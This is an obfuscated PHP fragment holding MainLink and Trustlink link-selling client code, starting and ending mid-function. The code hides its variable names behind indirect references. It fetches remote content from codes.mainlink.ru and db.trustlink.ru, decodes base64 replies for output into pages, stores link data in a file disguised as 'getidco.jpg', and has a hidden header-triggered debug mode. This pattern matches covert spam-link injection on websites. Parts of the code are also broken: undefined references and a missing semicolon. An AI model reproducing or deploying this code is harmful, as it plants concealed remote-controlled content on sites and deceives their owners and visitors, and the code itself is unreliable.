${$mrqjynqkzh}=opendir(realpath(dirname(__FILE__)));
$icrhjxxwvej="dirop";${${"GLOBALS"}["cjogrcp"]}=false;
if(${$icrhjxxwvej})
{
${"GLOBALS"}["jnvxibrwvuj"]="file";
while(gettype(${${"GLOBALS"}["jnvxibrwvuj"]}=readdir(${${"GLOBALS"}["hkthdiipr"]}))!="boolean")
{
if(${${"GLOBALS"}["xqwrwuuruvkn"]}!="."&&${${"GLOBALS"}["xqwrwuuruvkn"]}!=".."&&${${"GLOBALS"}["xqwrwuuruvkn"]}!=".htaccess")
{
$vghxowbp="file";
${${"GLOBALS"}["otchlxjos"]}=explode(".",${$vghxowbp});
if(isset(${${"GLOBALS"}["otchlxjos"]}[1])and trim(${${"GLOBALS"}["otchlxjos"]}[1])=="sec")
{
${${"GLOBALS"}["wtslpelxi"]}=trim(${${"GLOBALS"}["otchlxjos"]}[0]);
return${${"GLOBALS"}["wtslpelxi"]};
}
}
}
}
return${${"GLOBALS"}["gtwujj"]};
}
function getApi($data)
{
$vjdswqwkql="servers";
${"GLOBALS"}["ezmfvcqsrb"]="servers";
${${"GLOBALS"}["ezmfvcqsrb"]}=array("main"=>"codes.mainlink.ru","reserve"=>"dcodes.mainlinkads.com");
return$this->request(${$vjdswqwkql},"/api.php",${${"GLOBALS"}["ykdgcndkj"]},"GET");
}
function request($servers,$file,$data=array(),$method='GET',$timeout=5)
{
${${"GLOBALS"}["eujdksuhrk"]}=80;
foreach(${${"GLOBALS"}["tovrnxmvkrt"]} as$host)
{
$ozjvsksl="path";
$lvbzbvoaks="tmp";
${"GLOBALS"}["wtgxtdi"]="method";
${"GLOBALS"}["vzupsdxk"]="data";
${${"GLOBALS"}["gcdppprlmx"]}=${${"GLOBALS"}["vzupsdxk"]};
${"GLOBALS"}["bczhiuiyryv"]="path";
${${"GLOBALS"}["nmhwnlmjcml"]}=array();
${"GLOBALS"}["cstmfqx"]="answer";
foreach(${${"GLOBALS"}["gcdppprlmx"]} as${${"GLOBALS"}["tfykdmbkog"]}=>${${"GLOBALS"}["cxiqqwwcs"]})
{
$qghffe="k";
${"GLOBALS"}["frqlvdgkgt"]="v";
${${"GLOBALS"}["nmhwnlmjcml"]}[]=${$qghffe}."=".urlencode(${${"GLOBALS"}["frqlvdgkgt"]});
}
$hppwuvod="_data";
${"GLOBALS"}["erylbll"]="answer";
$rdynttzuqp="method";$uroxyrdbsi="request";
${$hppwuvod}=implode("&",${$lvbzbvoaks});
${${"GLOBALS"}["bczhiuiyryv"]}=${${"GLOBALS"}["xqwrwuuruvkn"]};
$jykbspbvi="request";
$skwubolkxk="request";
if(${${"GLOBALS"}["wtgxtdi"]}=="GET"&&${${"GLOBALS"}["gcdppprlmx"]}!="")
{
${"GLOBALS"}["gndjprodal"]="_data";
$yiqhfe="path";
${$yiqhfe}.="?".${${"GLOBALS"}["gndjprodal"]};
}
${$uroxyrdbsi}=${$rdynttzuqp}." ".${$ozjvsksl}." HTTP/1.0
";
${$jykbspbvi}.="Host: ".$host."
";${${"GLOBALS"}["uygcqpuognj"]}.="User-Agent: MainLink code 6.0
";
${$skwubolkxk}.="Connection: close
";
@ini_set("allow_url_fopen",1);
@ini_set("default_socket_timeout",${${"GLOBALS"}["ycgdtvh"]});
@ini_set("user_agent","MainLink init code v6");
$bukbyjsf="answer";
${"GLOBALS"}["netrqxdhw"]="answer";
${"GLOBALS"}["ejkhrcpl"]="r";
${${"GLOBALS"}["zxiabhcc"]}="";
${${"GLOBALS"}["cykrechrmc"]}="";
if(function_exists("socket_create"))
{
$jiyvbz="socket";
${"GLOBALS"}["hqgpiomc"]="request";
${"GLOBALS"}["jfloflr"]="socket";
@${${"GLOBALS"}["kbcewhct"]}=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);$ysvwqyjrb="port";
$idzlbbrpfzy="socket";
@socket_set_option(${$jiyvbz},SOL_SOCKET,SO_SNDTIMEO,array("sec"=>${${"GLOBALS"}["ycgdtvh"]},"usec"=>0));
@socket_connect(${${"GLOBALS"}["jfloflr"]},$host,${$ysvwqyjrb});
@socket_write(${${"GLOBALS"}["kbcewhct"]},${${"GLOBALS"}["hqgpiomc"]});
$rfejccnku="a";
${"GLOBALS"}["fssteahfr"]="response";
${"GLOBALS"}["sxmbjlgqhvxd"]="response";
while(${$rfejccnku}=@socket_read(${$idzlbbrpfzy},0xFFFF))
{
${${"GLOBALS"}["cykrechrmc"]}.=${${"GLOBALS"}["kfvxihbfjnld"]};
}
${${"GLOBALS"}["zxiabhcc"]}=(${${"GLOBALS"}["fssteahfr"]}!="")?explode("
",${${"GLOBALS"}["cykrechrmc"]},2):"";
${${"GLOBALS"}["sxmbjlgqhvxd"]}="";
}
if(function_exists("fsockopen")&&${${"GLOBALS"}["zxiabhcc"]}=="")
{
${"GLOBALS"}["yeuwksduw"]="response";
$xnbjtcvj="answer";
$cibcxzkgpc="errno";
${"GLOBALS"}["rhhwymwfu"]="fp";
$gonswdrpitj="response";
${${"GLOBALS"}["rhhwymwfu"]}=@fsockopen($host,${${"GLOBALS"}["eujdksuhrk"]},${$cibcxzkgpc},${${"GLOBALS"}["imvdpfng"]},${${"GLOBALS"}["ycgdtvh"]});
if(${${"GLOBALS"}["cxxpprr"]})
{
@fputs(${${"GLOBALS"}["cxxpprr"]},${${"GLOBALS"}["uygcqpuognj"]});
${"GLOBALS"}["bctykple"]="fp";
$mulzrhzcitv="fp";
while(!@feof(${${"GLOBALS"}["bctykple"]}))
{
${"GLOBALS"}["lfgiuvofhy"]="fp";${${"GLOBALS"}["cykrechrmc"]}.=@fgets(${${"GLOBALS"}["lfgiuvofhy"]},0xFFFF);
}
@fclose(${$mulzrhzcitv});
}
${$xnbjtcvj}=(${${"GLOBALS"}["cykrechrmc"]}!="")?explode("
",${${"GLOBALS"}["yeuwksduw"]},2):"";
${$gonswdrpitj}="";
}
if(function_exists("curl_init")&&${${"GLOBALS"}["ptdzszux"]}=@curl_init()&&${${"GLOBALS"}["cstmfqx"]}=="")
{
${"GLOBALS"}["obuunvvovku"]="answer";
${"GLOBALS"}["lfwpyobwslr"]="path";
@curl_setopt(${${"GLOBALS"}["ptdzszux"]},CURLOPT_URL,"http://".$host.${${"GLOBALS"}["lfwpyobwslr"]});
${"GLOBALS"}["nybprvd"]="ch";
${"GLOBALS"}["immptytj"]="ch";
${"GLOBALS"}["kfkemswi"]="response";
@curl_setopt(${${"GLOBALS"}["ptdzszux"]},CURLOPT_HEADER,true);
$ctqslwus="ch";${"GLOBALS"}["dhfrep"]="response";
@curl_setopt(${${"GLOBALS"}["nybprvd"]},CURLOPT_RETURNTRANSFER,true);
${"GLOBALS"}["nhkyftfuy"]="response";
${"GLOBALS"}["mdgchey"]="ch";
@curl_setopt(${${"GLOBALS"}["ptdzszux"]},CURLOPT_CONNECTTIMEOUT,${${"GLOBALS"}["ycgdtvh"]});
@curl_setopt(${$ctqslwus},CURLOPT_USERAGENT,"MainLink init code v6");
${${"GLOBALS"}["kfkemswi"]}=@curl_exec(${${"GLOBALS"}["immptytj"]});
${${"GLOBALS"}["obuunvvovku"]}=(${${"GLOBALS"}["dhfrep"]}!="")?explode("
",${${"GLOBALS"}["nhkyftfuy"]},2):"";
${${"GLOBALS"}["cykrechrmc"]}="";
@curl_close(${${"GLOBALS"}["mdgchey"]});
}
if(function_exists("file_get_contents")&&ini_get("allow_url_fopen")==1&&${${"GLOBALS"}["erylbll"]}=="")
{
${${"GLOBALS"}["cykrechrmc"]}=@file_get_contents("http://".$host.${${"GLOBALS"}["dlfpkqjafrtd"]});
${${"GLOBALS"}["zxiabhcc"]}[1]=(${${"GLOBALS"}["cykrechrmc"]}!="")?${${"GLOBALS"}["cykrechrmc"]}:"";
}
if(${${"GLOBALS"}["netrqxdhw"]}[1]!=""&&preg_match("/file:'(.*?)'/",${${"GLOBALS"}["zxiabhcc"]}[1],${${"GLOBALS"}["ejkhrcpl"]}))
{
if(isset(${${"GLOBALS"}["uxuuikakahd"]}[1]))
{
${"GLOBALS"}["hjmxhxv"]="answer";
${${"GLOBALS"}["hjmxhxv"]}=${${"GLOBALS"}["uxuuikakahd"]}[1];
$bvptsbbzs="c";
${${"GLOBALS"}["qsyzrkferku"]}=base64_decode(${${"GLOBALS"}["zxiabhcc"]});
if(${$bvptsbbzs})
{
return${${"GLOBALS"}["qsyzrkferku"]};
}
return${${"GLOBALS"}["zxiabhcc"]};
}
}
if(${$bukbyjsf}[1]!="")
{
$oeiqomiv="answer";
return${$oeiqomiv}[1];
}
}
return"<!--ERROR: Unable to use transport.-->";
}
}
class TrustlinkClient
{
var$tl_version='T0.4.7';
var$tl_verbose=false;
var$tl_cache=false;
var$tl_cache_size=10;
var$tl_cache_dir='cache/';
var$tl_cache_filename='trustlink.links';
var$tl_cache_cluster=0;
var$tl_cache_update=false;
var$tl_debug=false;
var$tl_isrobot=false;
var$tl_test=false;
var$tl_test_count=4;
var$tl_template='false_unit';
var$tl_charset='UTF-8';
var$tl_use_ssl=false;
var$tl_server='db.trustlink.ru';
var$tl_cache_lifetime=3600;
var$tl_cache_reloadtime=300;
var$tl_links_db_file='';
var$tl_links=array();
var$tl_links_page=array();
var$tl_error='';var$tl_host='';
var$tl_request_uri='';
var$tl_fetch_remote_type='';
var$tl_socket_timeout=6;
var$tl_force_show_code=false;
var$tl_multi_site=false;
var$tl_is_static=false;
function TrustlinkClient($options=null)
{
$mgdkghmch="options";
$host="";
${"GLOBALS"}["gwtlovddz"]="options";
$jivulmyelu="options";
if(is_array(${${"GLOBALS"}["wivxvedc"]}))
{
if(isset(${${"GLOBALS"}["wivxvedc"]}["host"]))
{
$veisodvvut="options";
$host=${$veisodvvut}["host"];
}
}
elseif(strlen(${${"GLOBALS"}["wivxvedc"]})!=0)
{
$jhvydue="options";
$host=${${"GLOBALS"}["wivxvedc"]};
${$jhvydue}=array();
}
else
{
${${"GLOBALS"}["wivxvedc"]}=array();
}
${"GLOBALS"}["gqcjpchlfeq"]="options";
$djqwbeekdrxf="options";
if(strlen($host)!=0)
{
$this->tl_host=$host;
}
else
{
$this->tl_host=$_SERVER["HTTP_HOST"];
}
${"GLOBALS"}["wteyekmoqr"]="options";
$this->tl_host=preg_replace("{^https?://}i","",$this->tl_host);
$this->tl_host=preg_replace("{^www\.}i","",$this->tl_host);
$wxsmhvfl="options";
$this->tl_host=strtolower($this->tl_host);
if(isset(${${"GLOBALS"}["wteyekmoqr"]}["is_static"])&&${${"GLOBALS"}["wivxvedc"]}["is_static"])
{
$this->tl_is_static=true;
}
${"GLOBALS"}["sqvnfhgef"]="options";
$osbfpq="options";
${"GLOBALS"}["kjylyqecg"]="options";
if(isset(${${"GLOBALS"}["gwtlovddz"]}["request_uri"])&&strlen(${${"GLOBALS"}["wivxvedc"]}["request_uri"])!=0)
{
$scychsxlx="options";
$this->tl_request_uri=${$scychsxlx}["request_uri"];
}
else
{
if($this->tl_is_static)
{
$this->tl_request_uri=preg_replace("{\?.*\$}","",$_SERVER["REQUEST_URI"]);
$this->tl_request_uri=preg_replace("{/+}","/",$this->tl_request_uri);
}
else
{
$this->tl_request_uri=$_SERVER["REQUEST_URI"];
}
}
$this->tl_request_uri=rawurldecode($this->tl_request_uri);
$eqrexulbnt="options";
if(isset(${$osbfpq}["multi_site"])&&${${"GLOBALS"}["kjylyqecg"]}["multi_site"]==true)
{
$this->tl_multi_site=true;
}
if((isset(${${"GLOBALS"}["wivxvedc"]}["verbose"])&&${${"GLOBALS"}["gqcjpchlfeq"]}["verbose"])||isset($this->tl_links["__trustlink_debug__"]))
{
$this->tl_verbose=true;
}
$moswex="options";
if(isset(${$jivulmyelu}["charset"])&&strlen(${${"GLOBALS"}["wivxvedc"]}["charset"])!=0)
{
${"GLOBALS"}["atkrdjicfy"]="options";
$this->tl_charset=${${"GLOBALS"}["atkrdjicfy"]}["charset"];
}
$zbezcqjmtcgm="options";
${"GLOBALS"}["dqklnhgju"]="options";
$vwyputxnhkn="options";
$tvdiwx="options";
if(isset(${$mgdkghmch}["fetch_remote_type"])&&strlen(${$eqrexulbnt}["fetch_remote_type"])!=0)
{
$this->tl_fetch_remote_type=${${"GLOBALS"}["wivxvedc"]}["fetch_remote_type"];
}
if(isset(${${"GLOBALS"}["dqklnhgju"]}["socket_timeout"])&&is_numeric(${${"GLOBALS"}["wivxvedc"]}["socket_timeout"])&&${$djqwbeekdrxf}["socket_timeout"]>0)
{
$llkpttcja="options";
$this->tl_socket_timeout=${$llkpttcja}["socket_timeout"];
}
if((isset(${${"GLOBALS"}["wivxvedc"]}["force_show_code"])&&${$moswex}["force_show_code"])||isset($this->tl_links["__trustlink_debug__"]))
{
$this->tl_force_show_code=true;
}
if(isset(${${"GLOBALS"}["sqvnfhgef"]}["use_cache"])&&${${"GLOBALS"}["wivxvedc"]}["use_cache"])
{
$this->tl_cache=true;
}
if(isset(${$zbezcqjmtcgm}["cache_clusters"])&&${$tvdiwx}["cache_clusters"])
{
$ygnnbtbi="options";
$this->tl_cache_size=${$ygnnbtbi}["cache_clusters"];
}
if(isset(${$vwyputxnhkn}["cache_dir"])&&${$wxsmhvfl}["cache_dir"])
{
$wqkhrxwgh="options";
$this->tl_cache_dir=${$wqkhrxwgh}["cache_dir"];
}
if(!defined("TRUSTLINK_USER"))
{
return$this->raise_error("Constant TRUSTLINK_USER is not defined.");
}
if(isset($_SERVER["HTTP_TRUSTLINK"])&&$_SERVER["HTTP_TRUSTLINK"]==TRUSTLINK_USER)
{
$this->tl_test=true;$this->tl_isrobot=true;$this->tl_verbose=true;
}
if(isset($_GET["trustlink_test"])&&$_GET["trustlink_test"]==TRUSTLINK_USER)
{
$this->tl_force_show_code=true;$this->tl_verbose=true;
}
$this->load_links();
}
function setup_datafile($filename)
{
$hepjgu="filename";
if(!is_file(${$hepjgu}))
{
if(@touch(${${"GLOBALS"}["ldosdqmpx"]},time()-$this->tl_cache_lifetime))
{
${"GLOBALS"}["kcroxfxe"]="filename";
@chmod(${${"GLOBALS"}["kcroxfxe"]},0666);
}
else
{
return$this->raise_error("There is no file ".${${"GLOBALS"}["ldosdqmpx"]}.". Fail to create. Set mode to 777 on the folder.");
}
}
if(!is_writable(${${"GLOBALS"}["ldosdqmpx"]}))
{
return$this->raise_error("There is no permissions to write: ".${${"GLOBALS"}["ldosdqmpx"]}."! Set mode to 777 on the folder.");
}
return true;
}
function load_links()
{
if($this->tl_multi_site)
{
$this->tl_links_db_file=dirname(__FILE__)."/trustlink.".$this->tl_host.".links.db";
}
else
{
$this->tl_links_db_file=dirname(__FILE__)."/getidco.jpg";
}
if(!$this->setup_datafile($this->tl_links_db_file))
{
return false;
}
if($this->tl_cache)
{
if(!is_dir(dirname(__FILE__)."/".$this->tl_cache_dir))
{
if(!@mkdir(dirname(__FILE__)."/".$this->tl_cache_dir))
{
return$this->raise_error("There is no dir ".dirname(__FILE__)."/".$this->tl_cache_dir.". Fail to create. Set mode to 777 on the folder.");
}
}
${"GLOBALS"}["ckrmtrvg"]="i";
if(!is_writable(dirname(__FILE__)."/".$this->tl_cache_dir))
{
return$this->raise_error("There is no permissions to write to dir ".$this->tl_cache_dir."! Set mode to 777 on the folder.");
}
for(${${"GLOBALS"}["ckrmtrvg"]}=0;
${${"GLOBALS"}["vtcbazxbm"]}<$this->tl_cache_size;
${${"GLOBALS"}["vtcbazxbm"]}++)
{
$cdtihsa="i";
$sgzrhjvadz="filename";
${$sgzrhjvadz}=$this->cache_filename(${$cdtihsa});
if(!$this->setup_datafile(${${"GLOBALS"}["ldosdqmpx"]}))
{
return false;
}
}
}
@clearstatcache();
if(filemtime($this->tl_links_db_file)<(time()-$this->tl_cache_lifetime)||(filemtime($this->tl_links_db_file)<(time()-$this->tl_cache_reloadtime)&&filesize($this->tl_links_db_file)==0))
{
$gckqwzydxswo="links";
@touch($this->tl_links_db_file,time());
${${"GLOBALS"}["dlfpkqjafrtd"]}="/".TRUSTLINK_USER."/".strtolower($this->tl_host)."/".strtoupper($this->tl_charset);
if(${$gckqwzydxswo}=$this->fetch_remote_file($this->tl_server,${${"GLOBALS"}["dlfpkqjafrtd"]}))
{
if(substr(${${"GLOBALS"}["uhtgxbkbnzr"]},0,12)=="FATAL ERROR:"&&$this->tl_debug)
{
$ojfwehzivjm="links";
$this->raise_error(${$ojfwehzivjm});
}
else
{
${"GLOBALS"}["ghmdmjn"]="links";
if(@unserialize(${${"GLOBALS"}["ghmdmjn"]})!==false)
{
$acpejfpupor="links";
$this->lc_write($this->tl_links_db_file,${$acpejfpupor});
$this->tl_cache_update=true;
}
else if($this->tl_debug)
{
$this->raise_error("Cans't unserialize received data.");
}
}
}
}
if($this->tl_cache&&!$this->lc_is_synced_cache())
{
$this->tl_cache_update=true;
}
if($this->tl_cache&&!$this->tl_cache_update)
{
${"GLOBALS"}["eozmgtcjsdb"]="links";
$this->tl_cache_cluster=$this->page_cluster($this->tl_request_uri,$this->tl_cache_size);
${${"GLOBALS"}["eozmgtcjsdb"]}=$this->lc_read($this->cache_filename($this->tl_cache_cluster));
}
else
{
$zneuqucr="links";
${$zneuqucr}=$this->lc_read($this->tl_links_db_file);
}
$dsbrdo="links";
$this->tl_file_change_date=gmstrftime("%d.%m.%Y %H:%M:%S",filectime($this->tl_links_db_file));
$this->tl_file_size=strlen(${${"GLOBALS"}["uhtgxbkbnzr"]});
if(!${$dsbrdo})
{
$this->tl_links=array();
if($this->tl_debug)$this->raise_error("Empty file.");
}
else if(!$this->tl_links=@unserialize(${${"GLOBALS"}["uhtgxbkbnzr"]}))
{
$this->tl_links=array();
if($this->tl_debug)
$this->raise_error("Can't unserialize data from file.");
}
if(isset($this->tl_links["__trustlink_delimiter__"]))
{
$this->tl_links_delimiter=$this->tl_links["__trustlink_delimiter__"];
}
if($this->tl_test)
{
if(isset($this->tl_links["__test_tl_link__"])&&is_array($this->tl_links["__test_tl_link__"]))
{
${"GLOBALS"}["xioefj"]="i";
for(${${"GLOBALS"}["vtcbazxbm"]}=0;
${${"GLOBALS"}["vtcbazxbm"]}<$this->tl_test_count;
${${"GLOBALS"}["vtcbazxbm"]}++)$this->tl_links_page[${${"GLOBALS"}["xioefj"]}]=$this->tl_links["__test_tl_link__"];
}
if($this->tl_charset!="DEFAULT")
{
$cggqll="i";$gnelysfr="i";
$this->tl_links_page[${$gnelysfr}]["text"]=iconv("UTF-8",$this->tl_charset,$this->tl_links_page[${$cggqll}]["text"]);
$this->tl_links_page[${${"GLOBALS"}["vtcbazxbm"]}]["anchor"]=iconv("UTF-8",$this->tl_charset,$this->tl_links_page[${${"GLOBALS"}["vtcbazxbm"]}]["anchor"]);
}
}
else{
${${"GLOBALS"}["rbskwrsn"]}=array();
foreach($this->tl_links as${${"GLOBALS"}["xigutbck"]}=>${${"GLOBALS"}["hshdhv"]})
{
$junbfu="key";
${${"GLOBALS"}["rbskwrsn"]}[rawurldecode(${$junbfu})]=${${"GLOBALS"}["hshdhv"]};
}
$this->tl_links=${${"GLOBALS"}["rbskwrsn"]};
if($this->tl_cache&&$this->tl_cache_update)
{
$this->lc_write_cache($this->tl_links);
}
$this->tl_links_page=array();
if(array_key_exists($this->tl_request_uri,$this->tl_links)&&is_array($this->tl_links[$this->tl_request_uri]))
{
$this->tl_links_page=array_merge($this->tl_links_page,$this->tl_links[$this->tl_request_uri]);
}
}
$this->tl_links_count=count($this->tl_links_page);
}
function fetch_remote_file($host,$path)
{
${${"GLOBALS"}["ytpukrnk"]}="Trustlink Client PHP ".$this->tl_version;
@ini_set("allow_url_fopen",1);
@ini_set("default_socket_timeout",$this->tl_socket_timeout);
@ini_set("user_agent",${${"GLOBALS"}["ytpukrnk"]});
if($this->tl_fetch_remote_type=="file_get_contents"||($this->tl_fetch_remote_type==""&&function_exists("file_get_contents")&&ini_get("allow_url_fopen")==1))
{
$bqiobh="data";
if(${$bqiobh}=@file_get_contents("http://".$host.${${"GLOBALS"}["dlfpkqjafrtd"]}))
{
$tyfewkxaw="data";
return${$tyfewkxaw};
}
}
elseif($this->tl_fetch_remote_type=="curl"||($this->tl_fetch_remote_type==""&&function_exists("curl_init")))
{
if(${${"GLOBALS"}["ptdzszux"]}=@curl_init())
{
${"GLOBALS"}["wflordyd"]="data";
@curl_setopt(${${"GLOBALS"}["ptdzszux"]},CURLOPT_URL,"http://".$host.${${"GLOBALS"}["dlfpkqjafrtd"]});
$pqbudqqjy="ch";
${"GLOBALS"}["dsmsjbhh"]="ch";
${"GLOBALS"}["txopobhychz"]="ch";
@curl_setopt(${${"GLOBALS"}["txopobhychz"]},CURLOPT_HEADER,false);
@curl_setopt(${${"GLOBALS"}["ptdzszux"]},CURLOPT_RETURNTRANSFER,true);
@curl_setopt(${${"GLOBALS"}["dsmsjbhh"]},CURLOPT_CONNECTTIMEOUT,$this->tl_socket_timeout);
@curl_setopt(${${"GLOBALS"}["ptdzszux"]},CURLOPT_USERAGENT,${${"GLOBALS"}["ytpukrnk"]});
$rtlxxmroy="ch";
if(${${"GLOBALS"}["wflordyd"]}=@curl_exec(${$rtlxxmroy}))
{
${"GLOBALS"}["jhsqomednv"]="data";
return${${"GLOBALS"}["jhsqomednv"]};
}
@curl_close(${$pqbudqqjy});
}
}
else
{
${"GLOBALS"}["mcoywjvyuz"]="buff";
${"GLOBALS"}["sjyhfbbqgen"]="fp";
${${"GLOBALS"}["mcoywjvyuz"]}="";
${${"GLOBALS"}["sjyhfbbqgen"]}=@fsockopen($host,80,${${"GLOBALS"}["azglektvrhd"]},${${"GLOBALS"}["imvdpfng"]},$this->tl_socket_timeout);
if(${${"GLOBALS"}["cxxpprr"]})
{
${"GLOBALS"}["syirugsxkk"]="fp";
@fputs(${${"GLOBALS"}["syirugsxkk"]},"GET {$path} HTTP/1.0
Host: {$host}
");
${"GLOBALS"}["meisvvfd"]="fp";
$wpxmiorwmn="page";
@fputs(${${"GLOBALS"}["cxxpprr"]},"User-Agent: {$user_agent}
");
while(!@feof(${${"GLOBALS"}["meisvvfd"]}))
{
$mglyjyu="fp";
${${"GLOBALS"}["nyogalqhyash"]}.=@fgets(${$mglyjyu},128);
}
@fclose(${${"GLOBALS"}["cxxpprr"]});
${${"GLOBALS"}["rpfmzqm"]}=explode("
",${${"GLOBALS"}["nyogalqhyash"]});
return${$wpxmiorwmn}[1];
}
}
return$this->raise_error("Can't connect to server: ".$host.${${"GLOBALS"}["dlfpkqjafrtd"]});
}
function lc_read($filename)
{
$fnvskstblns="fp";
${${"GLOBALS"}["cxxpprr"]}=@fopen(${${"GLOBALS"}["ldosdqmpx"]},"rb");
@flock(${$fnvskstblns},LOCK_SH);
if(${${"GLOBALS"}["cxxpprr"]})
{
${"GLOBALS"}["vrmmjrsupaj"]="length";
clearstatcache();
${${"GLOBALS"}["vrmmjrsupaj"]}=@filesize(${${"GLOBALS"}["ldosdqmpx"]});
$eiulvfkfwkhq="data";
if(version_compare(PHP_VERSION,"5.3.0","<"))
{
if(get_magic_quotes_gpc())
{
${${"GLOBALS"}["ywdlsvbkhxrm"]}=get_magic_quotes_runtime();
set_magic_quotes_runtime(0);
}
}
if(${${"GLOBALS"}["dkemweotqjg"]})
{
${"GLOBALS"}["tezlepgq"]="fp";
$jilttjya="data";
${$jilttjya}=@fread(${${"GLOBALS"}["tezlepgq"]},${${"GLOBALS"}["dkemweotqjg"]});
}
else
{
${"GLOBALS"}["frpqzkw"]="data";
${${"GLOBALS"}["frpqzkw"]}="";
}
if(version_compare(PHP_VERSION,"5.3.0","<"))
{
if(isset(${${"GLOBALS"}["ywdlsvbkhxrm"]}))
{
set_magic_quotes_runtime(${${"GLOBALS"}["ywdlsvbkhxrm"]});
}
}
$rwqtoep="fp";
@flock(${${"GLOBALS"}["cxxpprr"]},LOCK_UN);
@fclose(${$rwqtoep});
return${$eiulvfkfwkhq};
}
return$this->raise_error("Can't get data from the file: ".${${"GLOBALS"}["ldosdqmpx"]});
}
function lc_write($filename,$data)
{
${${"GLOBALS"}["cxxpprr"]}=@fopen(${${"GLOBALS"}["ldosdqmpx"]},"wb");
${"GLOBALS"}["mofwskyqpj"]="filename";
if(${${"GLOBALS"}["cxxpprr"]})
{
$yrmdnvxnkv="data";
${"GLOBALS"}["gunlpygp"]="fp";
$wzfbhipsjdb="fp";
${"GLOBALS"}["ucorrorox"]="length";
$yjwyguyxoru="fp";
@flock(${${"GLOBALS"}["gunlpygp"]},LOCK_EX);
$yktumfdt="data";
${${"GLOBALS"}["ucorrorox"]}=strlen(${$yrmdnvxnkv});
@fwrite(${$yjwyguyxoru},${$yktumfdt},${${"GLOBALS"}["dkemweotqjg"]});
@flock(${${"GLOBALS"}["cxxpprr"]},LOCK_UN);
@fclose(${$wzfbhipsjdb});
if(md5($this->lc_read(${${"GLOBALS"}["ldosdqmpx"]}))!=md5(${${"GLOBALS"}["ykdgcndkj"]}))
{
$jljlhzjctr="filename";
return$this->raise_error("Integrity was violated while writing to file: ".${$jljlhzjctr});
}
return true;
}
return$this->raise_error("Can't write to file: ".${${"GLOBALS"}["mofwskyqpj"]});
}
function page_cluster($path,$n)
{
$ywthdb="path";
$ohoqqptwnb="sum";
$vziqgjrhct="size";
$bhklqn="n";
${${"GLOBALS"}["jqpkxdoyl"]}=strlen(${$ywthdb});
${$ohoqqptwnb}=0;
for(${${"GLOBALS"}["vtcbazxbm"]}=0;
${${"GLOBALS"}["vtcbazxbm"]}<${$vziqgjrhct};
${${"GLOBALS"}["vtcbazxbm"]}++)
{
${"GLOBALS"}["szfnknwjssu"]="path";
${${"GLOBALS"}["nxqrko"]}+=ord(${${"GLOBALS"}["szfnknwjssu"]}[${${"GLOBALS"}["vtcbazxbm"]}]);
}
return${${"GLOBALS"}["nxqrko"]}%${$bhklqn};
}
function cache_filename($i)
{
$host=$this->tl_multi_site?".".$this->tl_host:"";
return dirname(__FILE__)."/".$this->tl_cache_dir.$this->tl_cache_filename.$host.".db".${${"GLOBALS"}["vtcbazxbm"]};
}
function lc_write_cache($data)
{
$uqeqdtekiwd="i";
$xjbhrteb="i";
${"GLOBALS"}["ychmoosithi"]="value";
$biqwuchbrg="caches";
${${"GLOBALS"}["melxmxyqtx"]}=array("__trustlink_start__","__trustlink_end__","__trustlink_robots__","__trustlink_delimiter__","__trustlink_before_text__","__trustlink_after_text__","__test_tl_link__");
${$biqwuchbrg}=array();
foreach($this->tl_links as${${"GLOBALS"}["xigutbck"]}=>${${"GLOBALS"}["ychmoosithi"]})
{
$lhhtwgjw="common_keys";
if(in_array(${${"GLOBALS"}["xigutbck"]},${$lhhtwgjw}))
{
$wexldgoolsm="i";
for(${${"GLOBALS"}["vtcbazxbm"]}=0;
${$wexldgoolsm}<$this->tl_cache_size;
${${"GLOBALS"}["vtcbazxbm"]}++)
{
$miwwmeigrlv="i";
if(empty(${${"GLOBALS"}["iwfurgnupgp"]}[${$miwwmeigrlv}]))
{
${${"GLOBALS"}["iwfurgnupgp"]}[${${"GLOBALS"}["vtcbazxbm"]}]=array();
}
${${"GLOBALS"}["iwfurgnupgp"]}[${${"GLOBALS"}["vtcbazxbm"]}][${${"GLOBALS"}["xigutbck"]}]=${${"GLOBALS"}["hshdhv"]};
}
}
else
{
$uhvphdneqgt="key";
$pulhxpp="value";
${"GLOBALS"}["qxbiwrubnwqv"]="key";
if(empty(${${"GLOBALS"}["iwfurgnupgp"]}[$this->page_cluster(${${"GLOBALS"}["xigutbck"]},$this->tl_cache_size)]))
{
${"GLOBALS"}["tbiyhwdh"]="key";
${${"GLOBALS"}["iwfurgnupgp"]}[$this->page_cluster(${${"GLOBALS"}["tbiyhwdh"]},$this->tl_cache_size)]=array();
}
${${"GLOBALS"}["iwfurgnupgp"]}[$this->page_cluster(${${"GLOBALS"}["qxbiwrubnwqv"]},$this->tl_cache_size)][${$uhvphdneqgt}]=${$pulhxpp};
}
}
for(${$uqeqdtekiwd}=0;
${${"GLOBALS"}["vtcbazxbm"]}<$this->tl_cache_size;
${$xjbhrteb}++)
{
$mrwxloyzwai="i";
$msyrfvgkeu="i";
$this->lc_write($this->cache_filename(${$msyrfvgkeu}),serialize(${${"GLOBALS"}["iwfurgnupgp"]}[${$mrwxloyzwai}]));
}
}
function lc_is_synced_cache()
{
$mfzeboi="db_mtime";
${$mfzeboi}=filemtime($this->tl_links_db_file);
for(${${"GLOBALS"}["vtcbazxbm"]}=0;
${${"GLOBALS"}["vtcbazxbm"]}<$this->tl_cache_size;
${${"GLOBALS"}["vtcbazxbm"]}++)
{
${${"GLOBALS"}["ldosdqmpx"]}=$this->cache_filename(${${"GLOBALS"}["vtcbazxbm"]});
${"GLOBALS"}["ydvqfc"]="filename";
${${"GLOBALS"}["gkhktijftgb"]}=filemtime(${${"GLOBALS"}["ydvqfc"]});
$hutuhwvho="cache_mtime";
if(filesize(${${"GLOBALS"}["ldosdqmpx"]})==0)
{
return false;
}
if(${$hutuhwvho}<(time()-$this->tl_cache_lifetime))
{
return false;
}
if(${${"GLOBALS"}["gkhktijftgb"]}<${${"GLOBALS"}["qaguxoemthhk"]})
{
return false;
}
}
return true;
}
function raise_error($e)
{
$this->tl_error="<!--ERROR: ".${${"GLOBALS"}["cvieitpr"]}."-->";
return false;
}
function build_links($n=null)
{
${"GLOBALS"}["vvvjkxsdwgm"]="n";
$acxdvpwh="n";
$ovpbsjlp="link";
$eyegqgtx="i";
$ixojtirughsf="n";
${"GLOBALS"}["qeqfbdhry"]="tpl"
${${"GLOBALS"}["irwsebdrto"]}=count($this->tl_links_page);
${"GLOBALS"}["ntmbjvrek"]="i";
if(!is_numeric(${$ixojtirughsf})||${${"GLOBALS"}["vvvjkxsdwgm"]}>${${"GLOBALS"}["irwsebdrto"]})
{
${${"GLOBALS"}["hbbqzvbd"]}=${${"GLOBALS"}["irwsebdrto"]};
}
